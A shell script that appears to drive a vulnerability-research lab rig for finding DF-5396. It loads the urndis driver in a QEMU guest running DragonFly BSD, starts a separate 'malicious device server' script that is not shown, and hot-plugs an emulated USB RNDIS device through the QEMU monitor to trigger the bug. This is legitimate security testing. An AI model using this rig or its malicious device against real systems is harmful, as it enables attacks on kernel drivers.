#!/bin/sh
# DF-5396 rig step 2: with the guest already up (boot_rig.sh), load the
# driver, start the malicious device server, hot-plug the usb-redir device.
set -e
cd "$(dirname "$0")/../../../dfbsd-qemu"

./vm.sh run_root 'kldload -n if_urndis; kldstat | grep -c urndis' || true

setsid -f python3 ../findings/poc/DF-5396/usbredir_rndis.py \
    </dev/null >../findings/poc/DF-5396/server.log 2>&1

# wait for the chardev to reconnect (server now listening)
sleep 2

python3 - <<'EOF'
import socket, time
s = socket.socket(socket.AF_UNIX); s.connect("rig-mon.sock")
time.sleep(0.3); s.recv(65536)
s.sendall(b"device_add usb-redir,id=rndis1,chardev=cd0,bus=uhci0.0,port=1\n")
time.sleep(2)
s.setblocking(False); out=b""
try:
    while True: out += s.recv(65536)
except Exception: pass
txt = out.decode(errors="replace").replace("\r","")
print([l for l in txt.splitlines() if "usb" in l.lower() or "rror" in l][-3:])
EOF
sleep 3
./vm.sh run_root 'dmesg | tail -4; ifconfig -l' 2>&1 | tail -7